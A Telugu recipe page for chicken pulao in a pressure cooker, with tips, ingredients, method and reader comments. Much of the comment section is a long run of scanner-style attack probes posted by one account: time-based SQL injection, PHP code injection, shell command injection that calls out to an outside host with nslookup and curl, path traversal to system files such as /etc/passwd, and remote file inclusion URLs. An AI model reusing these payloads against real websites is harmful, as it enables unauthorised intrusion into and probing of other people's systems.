ఈజీ చికెన్ పులావు కుక్కర్లో

5.0 AVERAGE

పర్ఫెక్ట్ చికెన్ పులావ్ చేయడం చాలా ఈసీ. కొన్ని కచ్చితమైన కొలతలు పద్ధతులు పాటిస్తే ఎప్పుడు చేసినా బెస్ట్ చికెన్ పులావ్ వస్తుంది.

రెసిపీ ప్రింట్ చేయడానికి

టిప్స్

చికెన్:

• మాంసం లేతది అంటే కిలో లోపు ఉన్న కోడి వాడితే ముక్కకి ఫ్లేవర్స్ బాగా పట్టి చాలా రుచిగా ఉంటుంది పులావ్.

• మాంసం కూడా కాస్త పెద్దముక్కలు ఉంటే పులావ్ కి బాగుంటుంది.

• చికెన్ వండడానికి ముందు ముప్పై నిమిషాలు 1 tbsp ఉప్పు వేసిన నీళ్ళలో నానబెడితే ముక్క సాఫ్ట్ అవుతుంది • చికెన్ నూనెలో వేపేటప్పుడు హై-ఫ్లేమ్ మీద వేపితే చికెన్ లోని నీరు వదిలి ముక్క మగ్గుతుంది. అలా నీరోదిలి చికెన్ ముక్కలోని చెమ్మారే దాకా వేపుకోవాలి.

బాస్మతి బియ్యం:

• నన్ను అందరూ మీరు ఏ బ్రాండ్ బాస్మతి బియ్యం వాడతారు అని అడుగుతుంటారు. నేను బ్రాండ్ పేరు చెప్పడం కంటే సంవత్సరం కంటే పాత బియ్యం వాడతాను అని చెప్తాను. మార్కెట్ లో మాంచి బ్రాండ్ బాసమతి బియ్యం ఉన్నాయి. దాదాపుగా పేరున్న అన్నీ బ్రాండ్లు మంచివే.

• బియ్యంని బాగా కడిగి 30 నిమిషాలు నానబెడితే చక్కగా పొడిపొడిగా ఉడుకుతుంది

• చికెన్ పులావ్ కుక్కర్లో బాస్మతి బియ్యంతో అయితే 1:1/2 నీళ్ళు సరిపోతాయి

• ఇదే సోనా మసూరి బియ్యం అయితే 1: 2 నీళ్ళు అవసరమవుతాయ్

పులావ్ పొడిపొడిగా రావాలంటే:

• బాస్మతి బియ్యం సంవత్సరం కంటే పాతవి అయి ఉండాలి.

• బాస్మతి /సోనా మసూరి ఏ బియ్యాన్ని అయినా 30 నిమిషాలు నానబెట్టాలి

• బాస్మతి బియ్యం కుక్కర్లో హై-ఫ్లేమ్ మీద రెండు కూతల్లో ఉడికిపోతుంది. సోనా మసూరి అయితే 2 కూతలు హై మీద 1 కూత చిన్న మంట మీద రానివ్వాలి

• కుక్కర్ కూతలు అయ్యాక స్టవ్ ఆపేసి 20 నిమిషాలు వదిలేయాలి. ఆ తరువాత అడుగు నుండి అట్లకాడతో నిదానంగా కలిపితే మెతుకు విరగకుండా పొడిపొడిగా వస్తుంది.

ఆఖరుగా ఒక్క మాట :

• నేను చేస్తున్న పులావ్ మీడియం స్పైస్ తో ఉంటుంది. ఉప్పు కారాలు మీకు తగినట్లుగా మార్చుకోవచ్చు.

ఈజీ చికెన్ పులావు కుక్కర్లో - రెసిపీ వీడియో

Easy Chicken Pulao in Pressure Cooker | Homemade Chicken Pulao Recipe

Bachelors Recipes | nonvegetarian

Prep Time 5 mins
Cook Time 15 mins
Resting Time 15 mins
Total Time 35 mins
Servings 3

See this Recipe in English

కావాల్సిన పదార్ధాలు

1/2 kilo చికెన్
250 gms బాసుమతి బియ్యం (1.5 cup)
1/4 cup పెరుగు
1 ఉల్లిపాయలు
1 టమాటో
2 tsp పుదినా తరుగు
2 tsp కొత్తిమీర తరుగు
1 tsp కారం
ఉప్పు
1/2 tsp పసుపు
1 tbsp అల్లం వెల్లులి పేస్టు
5 లవంగాలు
4 యాలకలు
1 inch దాల్చిన చెక్క
1 బిరియాని ఆకు
1 tsp షాహీజీరా
1/2 tsp గరం మసాలా
1 tsp ధనియాల పొడి
1 tsp వేయించిన జీలకర్ర పొడి
2 1/4 cups నీళ్ళు
3 tbsps నూనె

రెసిపీ ప్రింట్ చేయడానికి

విధానం

Hide Pictures

కుక్క ర్లో నూనె వేడి చేసి అందులో లవంగాలు, చెక్క, యాలకలు, షాజీర, బిరియాని ఆకు వేసి మంచి సువాసనోచ్చేదాక వేపుకోండి
ఇప్పుడు ఉల్లిపాయ చీలికలు వేసి గోల్డెన్ బ్రౌన్ కలర్ వచ్చేదాకా ఫ్రై చేసుకోండి
మంచి కలర్ వచ్చాక అప్పుడు అల్లం వెల్లూలి పేస్ట్, పసుపు, కారం, ఉప్పు, ధనియాల పొడి, జీలకర్ర పొడి, గరం మసాలా వేసి మసలాల్ని బాగా వేపుకోండి.
టమాటో ముక్కలు వేసి టమాటో మెత్తగా గుజ్జుగా అయ్యేదాకా ఫ్రై చేసుకోండి.
గంటపాటు ఉప్పు వేసిన నీళ్ళలో నానబెట్టిన చికెన్ వేసి బాగా కలిపి 4-5 నిమిషాలు పాటు హై ఫ్లేం మీద ఫ్రై చేసుకోండి. తరువాత 2 కప్స్ నీళ్ళు పోయాలి.
గంట పాటు నానబెట్టిన బాస్మతి బియ్యం వేసి బాగా కలిపి చిలికిన పెరుగు, పుదినా తరుగు, కొత్తిమీర తరుగు వేసి కలిపి కుక్కర్ మూత పెట్టి హై-ఫ్లేం మీద 2 విసిల్స్ హై ఫ్లేం మీద రానివ్వండి, ఆ తరువాత స్టవ్ ఆపేసి 30 నిమిషాలు వదిలేయండి
30 నిమిషాల తరువాత అడుగునుండి కలుపుకొండి. అంతే పర్ఫెక్ట్ చికెన్ పులావ్ రెడీ.

100 comments

S

Shanel Furtado
Recipe Rating:

This is a quite simple and straightforward yet very flavoursome recipe. I prepared this today for my family as I was in a hurry to cook something that was one pot and everyone enjoyed it. Thanks for sharing such a lovely recipe.

1 year ago Reply
S

Samsani Bhargavi

Chala bhagundhi sir miru chepina vidham ga ne chesanu super ga perfect ga vachindhi Thank you so much😊💕💕 sir

2 years ago Reply
A

Abhinay gaikwad

चिकन कचे राहिले पूर्ण रबर लागत होते 🤦🏻‍♂️

2 years ago Reply
S

Sushil Kumar Rachuri
Recipe Rating:

First attempt to make chicken pulao. Mouth watering taste. Super

2 years ago Reply
D

Divya Kattumenu

Thnq for d recipee. I made it n loved it❤️

2 years ago Reply
D

Divya
Recipe Rating:

Sir ee recipe try chesa first time Aina bagane ochindhi Thank you so much sir🤩

2 years ago Reply
- H
  
  Hema
  
  Salt ela
  
  2 years ago Reply
  - S
    
    Sushil Kumar Rachuri
    Recipe Rating:
    
    ONE TABLE SPOON FOR MARINATE HALF KG CHICKEN AND AS PER YOUR TASTE AT THE TIME OF ADDING ALL MASALAS MEANS HALF TEA SOON TO 3/4 tea spoon
    
    2 years ago Reply
M

Manisha chinnu

Super

2 years ago Reply
D

Dukka Naveen
Recipe Rating:

Amazing dish im a bachelor and learned a lot from your Cooking Style

2 years ago Reply
S

Srikanth Reddy
Recipe Rating:

నేను ఫస్ట్ టైం మీరు చెప్పిన పద్దతిలో try చేశాను. చాలా బాగా వచ్చింది. thanq vismai

2 years ago Reply
N

Nikhila Parvatham
Recipe Rating:

Very clear description, made cooking interesting, enjoyable and easy. Never thought that I could make a dish this amazing. Thank you for the detailed description and tips Appreciate your passion

2 years ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  @@gGcL8
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1????%2527%2522\'\"
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1'"
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1MujRjAuz')) OR 586=(SELECT 586 FROM PG_SLEEP(15))--
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1cdGD0ya9') OR 91=(SELECT 91 FROM PG_SLEEP(15))--
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1JsutG14E' OR 507=(SELECT 507 FROM PG_SLEEP(15))--
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1-1)) OR 417=(SELECT 417 FROM PG_SLEEP(15))--
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1-1) OR 885=(SELECT 885 FROM PG_SLEEP(15))--
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1-1 OR 653=(SELECT 653 FROM PG_SLEEP(15))--
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  13XYH8Xb8'; waitfor delay '0:0:15' --
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1-1 waitfor delay '0:0:15' --
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1-1); waitfor delay '0:0:15' --
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1-1; waitfor delay '0:0:15' --
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1*if(now()=sysdate(),sleep(15),0)
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  -1 OR 3+148-148-1=0+0+0+1
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  -1 OR 2+148-148-1=0+0+0+1
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1*1
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1*1
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1*1
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1*1
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1ceJxtNXk
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  [php]print(md5(31337));[/php]
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  {php}print(md5(31337));{/php}
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  print(md5(31337));//
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  '{${print(md5(31337))}}'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  '.print(md5(31337)).'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ${@print(md5(31337))}\
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ${@print(md5(31337))}
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ";print(md5(31337));$a="
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ';print(md5(31337));$a='
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  gethostbyname(lc('hitkw'.'yefgeckh49d27.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(69).chr(120).chr(77)
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ".gethostbyname(lc("hitjs"."lmyqqjoj36250.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(81).chr(110).chr(68)."
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  '.gethostbyname(lc('hitbg'.'rfyucdun8eec2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(75).chr(100).chr(77).'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ./1
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ../1
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  file:///etc/passwd
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  vismaifood.com
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  https://vismaifood.com/
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  '"
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  xfs.bxss.me
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  easy-chicken-pulao-pressure-cooker-homemade-chicken-pulao-recipe/.
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  easy-chicken-pulao-pressure-cooker-homemade-chicken-pulao-recipe
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  easy-chicken-pulao-pressure-cooker-homemade-chicken-pulao-recipe
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1"||sleep(27*1000)*swwprg||"
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1'||sleep(27*1000)*osquyr||'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1"&&sleep(27*1000)*uplzor&&"
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1'&&sleep(27*1000)*vbovpl&&'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  '"()
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ;(nslookup -q=cname hitiduxyscpohcd040.bxss.me||curl hitiduxyscpohcd040.bxss.me)|(nslookup -q=cname hitiduxyscpohcd040.bxss.me||curl hitiduxyscpohcd040.bxss.me)&(nslookup -q=cname hitiduxyscpohcd040.bxss.me||curl hitiduxyscpohcd040.bxss.me)
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  `(nslookup -q=cname hitfrmaauhevm06346.bxss.me||curl hitfrmaauhevm06346.bxss.me)`
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  |(nslookup -q=cname hitjdbjlcepnk9d72d.bxss.me||curl hitjdbjlcepnk9d72d.bxss.me)
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  &(nslookup -q=cname hitlhlqukfzwe90892.bxss.me||curl hitlhlqukfzwe90892.bxss.me)&'\"`0&(nslookup -q=cname hitlhlqukfzwe90892.bxss.me||curl hitlhlqukfzwe90892.bxss.me)&`'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  &nslookup -q=cname hituvqzjwnjkw89e34.bxss.me&'\"`0&nslookup -q=cname hituvqzjwnjkw89e34.bxss.me&`'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  $(nslookup -q=cname hitnhoebobsgt257b6.bxss.me||curl hitnhoebobsgt257b6.bxss.me)
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  (nslookup -q=cname hituwhcyhcbly1b032.bxss.me||curl hituwhcyhcbly1b032.bxss.me))
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  'A'.concat(70-3).concat(22*4).concat(108).concat(84).concat(105).concat(85)+(require'socket' Socket.gethostbyname('hitdb'+'ibcmpufr66581.bxss.me.')[3].to_s)
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1|echo whkodk$()\ teclso\nz^xyu||a #' |echo whkodk$()\ teclso\nz^xyu||a #|" |echo whkodk$()\ teclso\nz^xyu||a #
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  '+'A'.concat(70-3).concat(22*4).concat(121).concat(79).concat(100).concat(75)+(require'socket' Socket.gethostbyname('hitmu'+'ozgvkoprf4f47.bxss.me.')[3].to_s)+'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  "+"A".concat(70-3).concat(22*4).concat(105).concat(80).concat(100).concat(70)+(require"socket" Socket.gethostbyname("hitnn"+"xtpqnnocd6316.bxss.me.")[3].to_s)+"
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  |echo zzcfwn$()\ meehgq\nz^xyu||a #' |echo zzcfwn$()\ meehgq\nz^xyu||a #|" |echo zzcfwn$()\ meehgq\nz^xyu||a #
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ^(#$!@#$)(()))******
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  !(()&&!|*|*|
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1&echo zyfdvg$()\ xpoafx\nz^xyu||a #' &echo zyfdvg$()\ xpoafx\nz^xyu||a #|" &echo zyfdvg$()\ xpoafx\nz^xyu||a #
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  &echo mvuwgk$()\ pdhbks\nz^xyu||a #' &echo mvuwgk$()\ pdhbks\nz^xyu||a #|" &echo mvuwgk$()\ pdhbks\nz^xyu||a #
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  echo ourogx$()\ lubfkb\nz^xyu||a #' &echo ourogx$()\ lubfkb\nz^xyu||a #|" &echo ourogx$()\ lubfkb\nz^xyu||a #
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  bxss.me
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  c:/windows/win.ini
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ../../../../../../../../../../../../../../etc/shells
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  /etc/shells
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  http://bxss.me/t/fit.txt?.jpg
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  Http://bxss.me/t/fit.txt
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  1&n984511=v969441
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  ${9999190+9999933}
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  12345'"\'\");|]*{ ?''💡
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  dtzwQjoG: r5JvEeAA
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  3uzmE4Hd
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  "+response.write(9536489*9539132)+"
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  '+response.write(9536489*9539132)+'
  
  2 weeks ago Reply
- K
  
  kEMlzpAX
  Recipe Rating:
  
  response.write(9536489*9539132)
  
  2 weeks ago Reply

See this Recipe in English

ఈజీ చికెన్ పులావు కుక్కర్లో